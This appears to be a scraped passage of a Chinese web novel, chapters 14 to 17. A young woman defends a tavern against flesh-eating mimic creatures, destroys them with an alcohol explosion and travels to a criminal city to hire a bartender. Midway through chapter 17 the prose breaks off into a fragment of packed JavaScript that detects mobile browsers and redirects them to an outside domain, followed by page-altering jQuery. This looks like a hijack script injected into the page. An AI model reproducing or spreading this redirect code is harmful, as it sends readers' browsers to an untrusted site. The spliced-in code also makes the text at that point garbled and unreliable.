还有零星的伪人们垂死挣扎,人们发现后直接用工具直接敲死。 此时的宁筠看不见,思维也十分模糊,如果村民们想要偷袭宁筠,她大概是没有办法反抗的。 事实上,村民们也正有此意。 只见有一个贼眉鼠眼的人,对着二把手悄悄说:“她再怎么厉害也是一个人,我们不如把她的枪抢走。” “不就是在中心坐着,然后biubiu打几枪吗,我也能行。” 二把手沉默了一下,并未说话,也并未否决。 似乎已经有人捷足先登。 还未等敲到一半,那个村民突然睁大了眼睛,嘴角处溢出了鲜血。 “你……” “你们不会觉得酒馆没人了吧?”齐荦荦从地下室里爬出来,冷笑一声,对着大汉们说道。 时间回到大半个小时之前。 齐荦荦正收拾着柜台,猎人走得匆忙,最后一杯酒其实还剩下了半杯。齐荦荦思考了半天,也没敢动下一口。 明明才生活了几天,齐荦荦就觉得这里的生活气息十足。 还未到掉的垃圾桶,吧台上被挪动过的椅子,厨房的电饭锅里正煮着粥。虽然总喝粥不太好,但相较于干巴巴的馒头,齐荦荦觉得粥更好喝一些。 门外传来生锈的铁链声,以及车子不堪重负,晃晃悠悠的声音。 但当时的齐荦荦没有听出来。 是宁筠回来了? 齐荦荦正要开门,却发现驾驶着三轮车的,不是宁筠,而是一个陌生村民,而三轮车内,满满登登地装载了七八个村民。 她想给宁筠留个线索,却发现村民比她想象得更加快速,几乎一眨眼就到了酒馆的门口,顾不得的齐荦荦只能匆忙逃进地下室。 进了屋的村民们被酒精迷了眼,只顾着饮酒作乐,反倒是忘记了此行的重要目的——地下室。 直到听到楼上熟悉的枪声,齐荦荦意识到了什么,刚想上楼,却发现情况有些不对,于是蹲守到了现在。 齐荦荦收回掷出的匕首,不偏不倚,正中村民的胸脯,村民缓缓倒下,临死前嘴巴还在嗡动着什么。 这是齐荦荦第一次杀人,与杀伪人那种仇视感不同,齐荦荦直接呕了出声,浑身颤抖。 “我……我杀人了?”她声音很轻,看着自己的双手,上面似乎沾满了鲜血,无数怨恨化为黑色实质向她奔涌,再一眨眼,手上又干干净净的,什么都没有。 这似乎暴露了她还是个青涩的丫头的事实,村民们大吼了一声:“老刘!”纷纷逃出武器,直直地冲着齐荦荦而来。 “砰、砰。” 门外又传来了撞击声,比原来得更响,更加急促,几乎要把木质的大门敲碎。 伪人们又来了! 二把手骂了一声:“晦气。”只能放下武器,转过身来继续阻止着伪人。 “老大!要不我们先……”一个贼眉鼠眼的村民,努了努嘴,看着宁筠的方向。 下一秒,冰冷的子弹从村民腋下穿过,直直命中门后的伪人。这一幕把村民吓瘫了,这颗子弹要是偏移几分,命中 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于是她趁着间隙,成功击倒几只伪人,以至于伪人们似乎更聪明了。 从一团乱麻变得有序,这种思维上的转变,仅让它们损失了五个伪人。 但酒馆里的人脸色不大好,高强度的守夜行为让他们疲惫不堪。伪人们却愈发亢奋,撞击玻璃的频率越来越快,几乎看不见人影。 二把手没见过这么狡猾的伪人,额头上已经冒出了汗水,“这……这怎么办,难不成我们就要死在这里吗?” 有人已经心生绝望了。 “都怪老潘,非要来找什么地图资源,这下好了吧,大家都要死在这里了!” “就是,谁知道还有这么个硬茬!” “我还有女儿啊,我的女儿还在等我带回来资源呢,她会被饿死的!” 已经有人扔下了铁锹,低垂着脑袋,额头抵在膝盖上,坐在窗边低声哭泣。 大门摇摇欲坠,有不少窗户已经裂出了痕迹,几乎要被破开了。 “砰。” 第一扇玻璃宣告破裂。 众人紧绷着神经,紧紧地盯着窗户,把窗户上的碎玻璃盯掉了碎片,依旧没有伪人进来。 “砰。” 第二扇玻璃宣告破裂,紧接着是第三扇、第四扇…… 等到众人意识到要保护剩余的玻璃时,可怜的酒馆只剩下最后三扇窗户了。 宁筠并没有阻止伪人击碎玻璃,她现在有个更好的想法。 她低着头,将所有的注意力聚集枪口上,上面隐藏着一颗子弹,一颗足够炸掉所有伪人的子弹。 风声随着玻璃呼啸,将众人的心跳吹得冰凉。 如果说刚刚还有胜算的话,那么破掉玻璃的他们,几乎可以等死了。 “啊!!” 众人立马循着声音望去,只见厨房角落里的村民痛苦地嚎叫着,窗外的伪人已经翻进了窗户,张开大口,咬断了村民的脖颈。 宁筠抬头看了一眼,又默默地将枪放了回去。 时机还没到。 14. 酒馆 “你在干什么!!”二把手怒吼,抓着宁筠的衣领,“伪人进来了啊,你怎么不开抢?!” 宁筠仍是低着头,默默将枪管放在他的下巴上,“我有办法,想活就别抵抗,跟着我。” 二把手深吸了口气,声音放缓:“现在伪人进来了,你有什么办法,也要把屋子里的伪人消灭干净。” “你还有朋友呢,想想她,好不好?” 齐荦荦脸色苍白,但听到二把手的诱导,坚强地拍案而起:“我这条命是她捡回来的,她要我死都无所谓!” 气得二把手一阵牙疼,又打不过她,只能将气往肚子里憋。 他指挥着村民,试图将伪人击倒在窗户旁边。压抑着恐惧的村民们,磨磨蹭蹭地走到窗户旁,瞬间愣在了原地。 伪人们扬着笑容,像是在脸上被划开一道口子,无数鲜血顺着嘴角流下。村民们睁大了眼睛,惊叫声压抑在嘴边,无论如何怎么也发不出来。 紧接着是第二个惨叫声想起。 “啊!好痛啊!它在吃我的脖子,你们谁快来救——” 是距离厨房最近的那扇窗户。 没有人敢救他。 惨叫声逐渐微弱,直至断开,村民的头也跟着断到了地上。自头颅而上,一双眼睛睁得浑圆,面色愤怒,滚过众人的面前,似乎在质疑为什么没人救他。 大家顾不上他,因为又有其他人被伪人咬断了脖子。 痛苦声和哀嚎声遍及了整个酒馆,幸存的村民用怨恨的眼神看着宁筠,却又不得不靠近着宁筠。 ——因为她有枪,至少要比他们这群握着铁锹的,有杀伤力得多。 伪人们越来越多,逐渐围绕着众人,扭曲地笑着,又不挺地蹒跚前行,形成了一个圆圈。 吃到肉的伪人们逐渐变幻了模样,一个个变成了他们曾经熟知的同伴。 “老石,你怎么不救我啊?” “我回不去啦!都怪你们——” “别吃我,好痛啊!” 窒息的惨叫声,还有村民们临死前的痛苦表情,被伪人们学了个十成十,又摆出来来给村民们看。 在此刻,这些伪人不是伪人,而是化成死者怨灵的伥鬼。 有人承受不住这样的心理压力,跪在地上,求着为人们的原谅。 “对不起……对不起,现在你也要来吃我了吗?” 其中一个村民喃喃道,下意识地爬出人群,拥抱着其中一个伪人。 被拥抱的伪人露出了诡异的笑容,脖子上张开了血淋淋的嘴。 时机到了。 宁筠抬起枪,无数镜头在她面前变成了慢动作,她慢悠悠地抬起枪,又看着子弹慢悠悠地穿过酒馆上的酒。 “砰——” 好似天边的惊雷响在耳边,那声音震得人耳鼓生疼,心脏也随之震颤。 那是酒馆的方向,火红色的火焰狰狞着,从酒架上猛然窜出,瞬间吞噬掉了距离极近的伪人,将其燃成了灰烬。 伪人替他们挡了灾,除了抱紧伪人的那个,所有人毫发无伤。 村民们目瞪口呆。 直到缓过神后才发现,他们不知道什么时候,居然跟着宁筠蹲在了距离酒柜最远的角落里。 这人怎么做到的? 几乎是所有村民的疑问,他们忘记了刚刚还怨恨着、咒骂着宁筠,在这一时刻,他们什么都骂不出来,又什么都说不出来。 “谢谢你。”二把手沉默了好久,才蹦出来这一句。 许久没有听到声音,二把手正以为是小姑娘不太爱说话,正打算好好和她说几句,结果一转头,人没了,再一看,人早已顺着窗户跑了。 二把手:??? 再一回头,那火苗又往上窜了几窜,滚滚浓烟散开,悬梁发出了崩裂的声音,无数歪曲斜扭的空气下,发出了凄厉扭曲的哀嚎声。 有几个机灵的已经翻窗户逃跑了。 二把手:“……” 他笑骂了一句,望着自己无法动弹的双腿,将所有村民推出窗户外。火苗已经燃烧到他的眉眼,他也只是笑着催促着,“快跑吧,一会别烧到了。” 有几个村民还想拉他一把,但二把手已经闭上了眼,呼吸声逐渐平稳,像是在拥抱死神。 他们一边哭一边抹眼泪,然后越跑越远。 “俺们回去后给你立个石碑!” “到时候给你最大最好的米!” 二把手听着这些话,还是没憋住眼泪,感叹了一句:“我真的不想死啊——” 确实没死成。 宁筠已经从湖水旁跑了回来,比了个ok的手势,齐荦荦就开始连接着抽水机。 发电机与抽水机一连接,随着一声轰鸣,瘪成一团的水管瞬间鼓起,另一端喷起了强大的水流,对着摇曳的火苗冲了过去。 水势凶猛,至少齐荦荦很难握得住,几个村民也自发帮忙,一起压制着水管。 二把手紧闭着眼睛,向前一跌,“啪叽”一声脸着了地。地面潮湿,隐隐还带着微甜的回甘。 他茫然地抬头,不知何处来的水流横冲直撞,水流所到之处,火焰不停退缩,肆虐的大火逐渐被压缩,就像刚刚的他们被伪人围剿一般,纷纷熄灭,最终化作了一缕缕青烟消散在空中。 这几十分钟的翻转太多,二把手的脑子有点不够用了。 “我们……活下来了?” 直到听到村民们茫然地声音,二把手如梦初醒。 他活下来了。 宁筠的声音很稳定,也很不要脸,“各位要是有意愿,可以帮我建设一下酒馆。” 仿佛刚刚不是因为心疼酒馆,而是为了专门救他们而灭火一样。 村民们处于重试生命的感恩期,连想都没想,就答应了下来。 其中一个村民笑呵呵的,“举手之劳!举手之劳!” 另一个村民摆摆手,“你说要干什么,我们能帮的都帮!” 二把手:“……” 总感觉有哪里不对。 村民们知道外界危险,随行带了许多药物,其中一个手脚健全的村民将三轮车里的药物拿了出来,互相上药,包扎着绷带,完全看不出之前的针锋相对。 “你怎么想出来要炸了酒柜的?”齐荦荦小声地问。 宁筠也悄悄地说:“我看到了里面有一桶酒精。” “所以呢?” “子弹穿过钢铁产生了火花,顺便引燃了酒精,就这么简单。” 这是大学里才会学过的知识吧! 齐荦荦一脸崇拜,在心里将宁筠从猎人大佬,变成了高智商猎人大佬。 地板被火焰烧过,呈现一种漆黑的碳色,又被水浸泡过,这段碳色就变成了混成泥的碎渣,周围的木质家具皆是如此。 宁筠走到哪里,地板和家具就碎到哪里。 心痛。 宁筠垂下眼,遮掩住情绪,强行将自己的 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她指挥着:“再偏一偏,再偏一点,对对就是哪里,放下吧。” 一个全新的酒柜落了地。 附近满是别墅豪宅,依山傍水,交通发达,再不济也是个富饶之地。 又到别墅里搜刮一番后,又坚定了宁筠的想法。 别墅里各个带有酒柜,上好的木材,还有高端的桌子椅子,以及不少废弃材料,不仅够她们战后重建,而且还可以建设些别的什么东西。 村民们不止会种地,在农闲时,也会出去接一些建筑上的私活。 比如刮大白,又比如接水管。 十分的好用。 宁筠毫不客气,搬走材料,拆东墙补西墙,没想到酒馆还有了几分原来的模样。 她满意地看着新建起来的酒馆,又像上次看着村民们一样的眼神,若有所思。 二把手的心又惊了一下,没找到原因,最终把这些归咎于自己年纪大了,经不住折腾。 活下来的村民还有四个,腿上都受了伤,宁筠不太好使唤他们,也只是叮嘱他们好好养伤。 没事推他们下楼遛遛弯,在丛林或平原旁感受着乡野的气息。 不管村民有没有宁静下来,宁筠心里平静了不少。 于是她说出了自己的目的。 “你们会修城墙吗?”宁筠问。 “会……会吧?” 宁筠“嗯”了一声,成功让二把手的心颤了第三次。 距离第二次列车到来的前一天晚上。 一股浓郁的酒香便扑面而来,忙碌了几天的村民们欢声笑语,在歌声与酒杯的碰撞声中,宁筠端来了自己刚调好的酒。 本着经营酒馆就一定会调酒的信任感,村民们闻都没闻,一口气喝下了黑糊糊的液体,然后在宁筠的注视下,一个接一个地倒了下去。 不知是谁最后迷糊糊地说了句“有人下毒”,吓得齐荦荦把到嘴边的酒吐了出来。 宁筠不信邪地尝了一口:“……” 算了,还是找个酒保吧。 又一趟列车行驶,宁筠向着几个黑……村民道别,满意地在城墙下穿来穿去。 这是村民们留下来的杰作——一个可以抵御伪人的城墙。 当然,是村民们自愿的,她可没有拿枪逼迫别人的习惯。 15. 酒馆 由于材料有限,村民们做出来的城墙比较简陋,总体上还算是差强人意。 城墙为夯实城墙,通体采用纯净的黏土。黏土颗粒细小,有良好的粘结性,在古代的城墙建造中而广泛使用。 黏土采集自湖边的缓坡地带,坡度平缓,大量的细小颗粒就随着矿物质发生化学反应,黏土自然也堆积成山。 老祖宗的智慧迷人,宁筠看着村民建造城墙时也感叹这一点。 “黏土能做城墙?你在开什么玩笑。”二把手语气诧异,“基地的城墙可都是钢筋混泥土,这才勉强抵御住伪人的进攻,你——” 在看到宁筠手中结实的土球之后,他的话又转回来了。 “——你还真行。” 挖掘城墙沟槽,填上夯实土壤,再铺上一层碎石作为基础垫层,再用木板固定墙体形状,剩下只需要将土填入木板,进行夯筑,一个简单的城墙就做好了。 伪人并不喜欢无人的区域,至少一望无际的荒野那边并没有伪人出现,于是宁筠也只修筑了一半,足够遮挡住自偏僻小路而来的伪人。 列车发出最后一声嘶鸣,这代表着流浪的游人终于可以回了家。宁筠踏着最后一声,进了酒馆。 男人们留下的痕迹已经被齐荦荦消灭干净,吧台是白色大理石做的,上面几乎要被擦拭得反了光。 “终于走了——”齐荦荦嘟囔了一声,“明天要休息一下吗?” 宁筠微微瞥了眼窗外,说:“明天要去地下室看看,我总觉得有哪里不对劲。” 当时掩埋了无数伪人的地下室,本该同样埋葬这些断手断脚的伪人们,可在宁筠路过废墟时,却突兀地听到了奇怪的声音。 她想起了另一件事。 当时自己的胸部被碎石贯穿,按照正常人来说无法存活的致命伤,对于她来说,仅仅是失去了几个小时的意识。 这一周以来,为了验证这一点,她无数次拿起刀片,做了无数次实验,只为了寻求一个可能性——地下室对伪人来说,具有治疗效果。 越是验证,就越发确定这个猜想,这让她的内心隐隐有些不安。 她都能活下去,那些断手断脚的伪人们呢? 这样的担忧在宁筠查看那片石堆时成了真。 大小石块堆积,稍稍翻动一下,呛人的石灰就顺着缝隙向外扩散,又带出碎末和石块,啪嗒啪嗒砸在宁筠的手中。 宁筠喜欢玩基建游戏,但游戏仅仅是游戏,没有游戏会事无巨细地将拆除过程告诉玩家们,以至于宁筠轻易地推到石块时,还以为这是正常反应。 但很快就意识到了不对。 最外围的石块,理应堆积于所有石块之上,再不济,也需要一些承重的石头来支撑。 而这里是空的,甚至还有一个小小的通道,足以通向内部。 宁筠率先爬了进去。 光线从石块于石块的缝隙中透过,光线与阴影交织,形成了一圈朦胧的地带。 随着宁筠的前行,光影越来越少,被无形的黑暗撕裂,在幽暗与明亮的交界处,宁筠看到了一双眼睛。 狭窄的、过于浑浊诡异的眼睛。 “怎么了?”废墟外的齐荦荦见宁筠停了下来,关切地说。 宁筠紧绷着唇瓣,挤出一句:“没事,遇到伪人了。” 没事才怪,它们果然具有这个能力。 趁着伪人还未反应过来,宁筠先发制人,一枪崩掉了它。 枪声响亮,震得土石堆开始发颤,无数碎石从顶部剥落,隐隐约约间,有什么东西松动了,也似乎惊扰了什么。 下一秒,她看到了黑暗中无数睁开的眼睛。 宁筠有一瞬间的头皮发麻,又突然间想到,这颗子弹应该留下来的。 能治愈她致命伤的泉水,难不成其他伪人就不能治愈了? 她小心翼翼地退了出来。 好在伪人们似乎并未打算对她乘胜追击。就像她之前所认为的,伪人对待同类的道德感极高,大多也只是瞥了她一眼,继续假寐。 宁筠自出来后就变得有些沉默,齐荦荦也意识到了什么,恐惧的目光看向废墟,勉强保持冷静说:“如果连断手断脚都能治愈的话,这里的伪人太可怕了。我们打不过来,不如去向猎人协会求救,或许会有好心的猎人接下订单,帮我们清理掉。” 宁筠没理会这个提议,岔开话题道:“里面的伪人太多了,我们需要一个办法。” 齐荦荦又想说些什么,被宁筠抢了先:“既然伪人是打不死的,那我们可以用一些别的方式。比如将伪人们引出废墟,逐个击破,或者一口气,直接炸掉废墟,将它们变成灰。” “我更倾向于将它们炸成灰。” “我们可以把酒精桶送到废墟内部,尽可能地贴近伪人们,趁着伪人们靠近时,利用子弹的贯穿,引爆酒桶。”宁筠拍了拍她的肩膀,用真诚和肯定的眼神说,“我需要你帮我引爆酒桶。” 这个方法需要引爆酒桶的人有极高的距离把握能力。 子弹稍快了些,就会炸伤运送酒桶的同类,如果稍慢了些,伪人划破酒桶,或被攻击。无论是哪种,运送酒桶的人都将生命交给了另一个人。 齐荦荦似乎被惊到了,嗫嚅着:“不行,我做不到的,我可以去做运送酒桶的人。” “齐荦荦,相信你自己。”宁筠的视线放空,轻声说,“你现在在基地外,不能再用基地内的思维了。” “你要有配得上你自己的能力。” 齐荦荦僵住了,在她漆黑的瞳孔里,倒映着宁筠面无表情的脸,就这样静静地看着她,似乎在等她的答复。 她突然间明白了什么。 她的人生一直在依靠着别人。小时候依靠着孤儿院,少女时依靠着各路好心行人,后来依靠着养父养母,直到现在,她的倚靠对象变成了宁筠。 如果不能改变现状,她依旧是只会倚靠别人的废物小点心。 “我会试着去做。”齐荦荦咬着牙,“先说好,你要是死了,这酒馆可就要归我了。” “没问题。”宁筠笑着 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她也不清楚自己能不能打中酒桶,但当时的宁筠十分自信,对着她说:“我会与酒桶平齐,你只需要对着我的上半身打,相信我能躲开。” 她相信了。 废墟内发出震耳欲聋的爆裂声,耀眼的火光如同新一轮的太阳,将周围的一切镀上了惨白色,爆炸的气浪掀起一朵蘑菇云,黑色的气烟向四外飘散。 不知过了多久,废墟的中心显露出来,上面空荡荡一片,没有伪人们,也没有宁筠。 齐荦荦的手一抖,当即就要哭出声,然后憋了回去。 她看到了一个挪动的人型。 实在是太暗了,人型与周围的灰融为一体,要不是齐荦荦的眼神好,可能直接略过了去。 这人抖了抖衣服,又抖了抖头发,然后转身,露出了与之截然不同的白色衣服和洁白无瑕的脸。 是宁筠。 —— 与这里相隔不远的另一边,沈枫正比划着地图,在第五十次走错了路后,正向着另一个方向前行。 老板跪得很快,几乎是当天就给了他一份一模一样的地图,而他动作也很快,当天就出了发。 紧接着他就迷路了。 如果不是中途路过了好心的村民,沈枫可能还要再迷上几天。 即使有了村民的好心指向,他似乎仍然对着丛林和山坡之中打转,像是被鬼迷了眼,兜兜转转,又回到了刚见到村民的那一段路。 土地微微颤抖,树叶发出细微的声响,惊得百鸟诈鸣,无数只鸟在天空盘旋,似乎在警告着什么。 下一秒,沈枫的背后突然爆出一朵蘑菇云,范围不大,距离也不远,且挂在天空十分显眼,让还在规划地图的沈枫愣了一下。 什么东西炸了? 夜幕低垂,万籁俱寂。微风带着丝丝凉意,在林间穿梭,吹过树梢,发出簌簌的声响,好像一切都是他的错觉。 沈枫垂下眼,看着已经被灰尘覆盖,再怎么抖也干净灰尘的地图,沉默了好久。 16. 抓犯人 午夜过了半,浴室内还亮着灯,镜子前的人鼻梁高挺,面容白皙,似乎是长期的影响不良,让她的身体有些偏瘦。 宁筠摸着自己的脸,在末世这么久,她看久了这张脸,早就习惯了,甚至还隐隐觉得,这张脸才应该是她的脸。 室内的灯光熄灭,窗帘被人拉开又合上。 宁筠光着脚走到床边,潮湿的头发披散在睡衣之上,将本就白皙的脖颈衬托得更加脆弱。 很难想象,这样一个营养不良的人,居然能消灭掉这么多的伪人,连宁筠自己也觉得不可思议。 “你要找酒保?” 第二天早上,齐荦荦刚起床就听到了这个消息,瞳孔地震,声音不自觉高昂了起来。 “那酒馆怎么办?” 宁筠表情很无辜,“不是有你吗?” 齐荦荦:“我不行的,我——” 她说到一半突然停住了,像是在纠结着什么,闭了下眼后,整个人开始坚定起来。 “你去吧,我可以的。” “我真的可以的。” “我没问题的。” 碎碎念念,不知道是在安慰谁。 经过一个晚上的刻苦研究,宁筠得知有一个叫“酒城”的地方。 在末世爆发前,酒城其实是一座由监狱制成的混乱城市,其他城市里的人提起它时,总是以垃圾城、犯人城等称呼,并告诉后代们,永远警惕酒城出来的人。 末世之后,狱警们无力监管这座监狱之城,于是犯人们从中解放,并在这座大型监狱上建立了一座罪恶之城。 如果基地内有人犯了法,那人们一定会说——他是从酒城来的! 总之,这是一座极为不堪的城市,尽管他们在末世之后迅速发展壮大,也依旧改变不了他们的刻板印象。 所以那里一定会有最好的酒保。宁筠心里想着。 临近上午,宁筠告别了齐荦荦,骑着自己的三轮车踏上了征程。 据说酒城距这里有几百公里,她需要骑得快一些。 穿过一片郁郁葱葱的树林,宁筠的三轮车才刚刚起步,就被一个人拦了下来。 一个她这辈子都不想见到的人——沈枫。 沈枫十分有礼貌,递给宁筠一袋鼓鼓囊囊的钱袋,随即才问道:“你好,0917号别墅怎么走?” 没人会拒绝一袋装满钱的钱袋,如果有的话,那就两袋。 在宁筠犹豫的期间,沈枫又递了一袋,这种豪横程度让宁筠瞬间不犹豫了。 她随手指了个方向:“那边。您问这个干什么?” “抓犯人。” 听得宁筠眼皮直跳。 沈枫道了谢,又突然顿了一下,“我们是不是在哪里见过?” 宁筠不语,只是瞪三轮的速度越来越快了。 过了许久以后,她才意识到,如果犯人指的是她,那一定会有专门的画像记录她的面貌,但他没有认出来自己。 宁筠有一瞬间的怔愣,再联想到昨晚在浴室的错觉——不,或许不是错觉,她本身就在向着她本身的面容改变。 这是一件很奇怪的事情,但宁筠此时只是觉得,不用被猎人随时发现的感觉,真好。 经过了三天三夜的努力,宁筠踩着关城的尾巴排进了队伍里。 自从离开了酒馆之后,宁筠才发现,自己根本不需要吃东西和喝东西,也不需要闭眼睛睡觉,就可以维持自己身体的机能。 也不靠人类进食。 宁筠怀疑自己可能是个特殊的伪人。 酒城门前熙熙攘攘,嘈杂的大人叫骂声掺杂着小孩的哭泣声。 城门口的守卫呸了一口,“你这小孩长没长眼?没有通行证不能进!” 他用力地推了一把小孩,直至小孩被人群挤压、推挤,再也看不见小孩的身影时,才敷衍地喊了一句:“排队排队!” 没人听他的,他也不强制管理,任由无数人拼命地向前拥挤,伸出手掌,被攥得皱皱巴巴的纸条就在风中扬来扬去。 不知是手没拿稳还是什么,其中一张纸条便落在了宁筠的手中,被汗水浸湿,沾染了些许红色,显然被主人用力攥了很久。 上面写着: 于月历79年5月14日,准许通过酒城。 审核人:仇兰月 是个通行证。 宁筠并不需要它,城门口上写了告示,除了通行证之外,基地的id卡也足够通过城门口的审核。 于是她手一扬,那通行证就顺着微风,向人群之中飘过。 不断有人惊呼—— “我的通行证!” “这是我丢的通行证,你快还给我!” 场面混乱了起来,有人为了抢夺通行证大打出手,有人被浑水摸鱼的伪人当场杀害。 守卫也不管,悠闲地坐下来喝口酒,对着人群吹了个口哨—— “打起来,再多打几下,通行证就到手啦!” 在这一片混乱中,宁筠被迫推到了守卫的面前。 “通行证。”守卫不耐烦地重复了一遍,“没有就滚出去,城主不欢迎连通行证都没有的废物。” “没有通行证。” 守卫骂骂咧咧:“你没通行证来个——” 在看到了宁筠手中的id卡,瞬间变了脸色。 “——原来是基地的人啊,早说早说。” 守卫利索地给她放了行。 直到近处,宁筠才看到门口的告示下还有一堆密密麻麻的小字,足足有七八十条的入城事项,她一扫而过就进了城。 相较于严肃豪华的基地,酒城内的一切让人回到了上个世纪。 城门内的路和建筑又小又旧,不知道被什么东西砸过,一片蜿蜿蜒蜒的破碎痕迹,空气中飘散着酒臭味,很难让人想象,这城里的人是如何适应这个味道的。 宁筠对九酒城的期待瞬间打了八折,不,五折。 但这里的人类仍比基地多出几倍来,随处可见的“一切以城主为重”的标识语,大小摊位摆在城门口,热情又洋溢地吸引着各路旅客。 “冰糖葫芦——” “客人来尝尝吗?加了薄荷叶的糖果,保证你吃了还想吃!” “地下酒庄——保证稳赚不赔,客人你要来玩吗?” 如果在基地,这种摊位或许会被巡逻的猎人抓起来,然后判个十年八年的死期,但这里是酒城,一切就合理了起来。 宁筠自小生活在富强民主的国家,自然对这些敬谢不敏。 在进城门后的一百米,路过了十多家摆了各种啤酒霓虹灯的酒吧后,她又把这个期待值稍稍提高了一些。 希望可以在这里找到适合的酒保。 宁筠随便走进了一家名叫“木果”的酒吧,霓虹灯照着舞台,许多男女尽情热舞,雇佣兵装饰的大汉坐在吧台,眼睛盯着舞台某一处,几乎目不转睛。 充满着酒色的混乱与奢靡,这似乎是最普通不过的,酒城的夜晚。 “这位客人要点什么?”服务员走到宁筠面前,微笑着问。 菜单上的名字挨挨挤挤,一个接着一个,比酒馆的酒种类还要多得多,看得宁筠目不暇接,什么都想尝一尝,什么都想试一试。 最终犹豫了几秒,她选择了看起来最普通的一杯酒。 周围有人窃窃私语,“一个小姑娘也敢喝这个?真不怕死。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890875|159806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >旁边的同伴笑了几声,“看到后面的枪了吗?人家有实力,会怕这点酒?” 不知道是不是在说她,宁筠也不打算理会,而是走向四处转了转。 她还没忘记自己最初的目的——寻找一个靠谱的酒保。 能在这里接到络绎不绝的客人的酒吧,员工也是有几把刷子的。 她拧眉观察了一会儿,酒保们调酒的姿势熟练,清澈透明的酒水就顺着容器,流淌出一个漂亮的漩涡,紧接着在酒保们剧烈的摇晃下,纯粹的酒香就从容器里爆发出来。 与宁筠摇晃出来的未知液体不同,杯子里的液体五颜六色,闪烁着星空般的,秒杀了宁筠一百八十条街。 好在她早已认清了这个事实,倒也不觉得难过。 酒保刚刚调好的酒被端了上来,上面泛着雾蓝色的气息,精致漂亮,宁筠珍惜地看着这杯酒,迟迟未动第一口。 欣赏了半分钟,她终于舍得消灭这口酒时,结果被不知哪里来的小孩扬了整个酒桌。 说是小孩,其实是个少年,14、5岁大小,宽大的衣袖遮住了瘦弱的身体,走起路时,衣服上的领口直晃,依稀可见里面干巴巴的、只挂了层皮的肋骨。 宁筠只是扫了一眼,又望向了半空,半空中那杯子骑着酒水扬帆起航,飞到地面上,玻璃碎了满地,发出清脆的声响。 如果她当时知道自己一口酒都喝不到的话,她绝对会选择一口闷。 或许是她的表情太过伤心了,以至于捣蛋的小屁孩在爬起来时,稍稍犹豫了一下,唇瓣嗡动着什么,然后又马不停蹄地向着包厢跑去。 服务员连连道歉:“对不起,我再为您做一份。” 宁筠:“那个小孩是谁?” 旁边有人回答道:“你第一次来吧?那小孩是老板的儿子,总是惹祸,每天都要撒几个客人的酒。” 老板的儿子? 宁筠又问:“那他会调酒吗?” 邻桌几个大汉笑了起来,闹哄哄的。 “怎么不会,他天才着呢,就是不知道抽了什么风,总喜欢和他爸对着干,我赌他会被抽五下。” “八下!” “十二下!” …… 在一片吵闹中,宁筠的酒被端了上来,正当她要喝下这杯酒时,邻桌的人问道:“你身上的衣服不像是本地人,从哪里来的?” 宁筠左右瞧了瞧,发现是在问她,于是回答道:“基地。” 周围似乎有人深吸了口气,不知为何,酒馆安静了许多。 那人说道:“基地的人不能喝这酒,换一杯吧。” 宁筠这才撩起眼皮,借助昏暗的灯光,看清楚了眼前之人。 一身华丽的青色衣服,手指上装满了饰品,撑着他那张被打扮得精致的脸,耳朵上坠着红色小花,头一歪,就顺着滑到脸上。 这时的她才发现,不知道什么时候,吧台的雇佣兵们不再喝酒,而是将若有若无的视线落在她的身上,像是看好戏似的, 宁筠这才反应过来,当时的小孩或许是在帮她。 她倒掉了酒,转身离开酒吧,那人也跟了上来,站在晚风吹拂的巷口中,似乎想要和她说些什么,于是宁筠停了下来。 那人扬眉:“还好你没喝。” “他们专挑单人女性下手,刚刚给你的酒下了药,你喝了就会睡得不省人事。”他点了根烟,继续恐吓着她,“然后被卖到其他酒吧做舞女,老资历的舞女会欺负你,把你变成只会听话的奴隶。” 宁筠“哦”了一声,像是没多大反应。 那人有些奇怪地问,“你不害怕?” 宁筠知道这件事的严重性,但也确实不害怕。 17. 酒城 她在孤儿院时,总能看到漂亮的舞女姐姐来捐款,陪着她们玩游戏,又会买一些好吃的食物,然后对着她们说—— “以后一定不要当舞女,要做个正常的人。” 当时的宁筠还小,听不懂什么叫正常人,也听不懂为什么不要当舞女。 后来的她才知道,“不要当舞女”指的是“不要靠着身体赚钱”,舞女这个身份不重要,重要的是不要误入歧途。 宁筠能健健康康长这么大,多亏了舞女姐姐们的热心帮助。 但距离那时已经过了好多好多年。 “可能是因为我善?”宁筠嘴上这么说,但内心想的是:我一个伪人怕你们不成,大不了全突突了。 那人笑得乐不可支,抹了把眼泪,说:“我叫仇景澄,有什么事可以找我,价格公道。” 姓仇? “仇兰月是你什么人?”宁筠问。 仇景澄伸出了手,对着宁筠比了比。 “五分。” 宁筠拧眉,慢吞吞地掏出了钱。 临走时她没数,以为最多不过二三十,没想到沈枫给的金额什么都有,鼓鼓囊囊的钱袋子上不仅有上千的票子,还有几分的硬币。 这人过来送温暖的? 宁筠抛开这些想法,将一枚一角的硬币放了上去,就看到仇景澄眉开眼笑,迫不及待地收下了硬币。 “很多人第一个问题会这样问我。”他说,“但我和她没关系,人家是酒城的城主,而我只是个骗骗进城的小朋友,赚点零花钱的那种。” 还挺诚实的,只是听起来有点欠打,而且说的话也挺放屁的。 宁筠做好了会被他坑骗的准备,但没想到居然套出来了几个实用的消息。 比如那个小孩名字叫仇远,他的母亲和仇兰月有些关系,有些小道消息说仇兰月是他的小姨,又有人说仇兰月就是他的母亲。众说纷纭,到最后也没确定下来。 又比如最好的酒保在一个名叫“星空之城”的酒庄里,但哪里的消费要比普通的酒吧贵上百倍,是真正的富人才能玩得起的地方。 宁筠默默地捂紧了自己的钱包。 夜有点深了,自酒吧门外透过的五彩斑斓,里面舞池的人正洋溢着青春的热舞,音乐的声音有些大,宁筠觉得还是自家的酒馆更安静一些。 虽然伪人不需要睡觉,但她还是想找个安静的地方,休息一个晚上。 酒城的建筑不少是赛博朋克风,绚丽的霓虹灯,无数根裸露在空中的电线,还有不少昏暗的看不到尽头的小巷。 随着夜深人静,这座光鲜亮丽的城市也展现出了它冷漠无情的一面。 “抱歉,我们这边人满了。”宾馆老板面无表情,再次拒绝了她的入住要求。 这是第三个拒绝宁筠的宾馆。 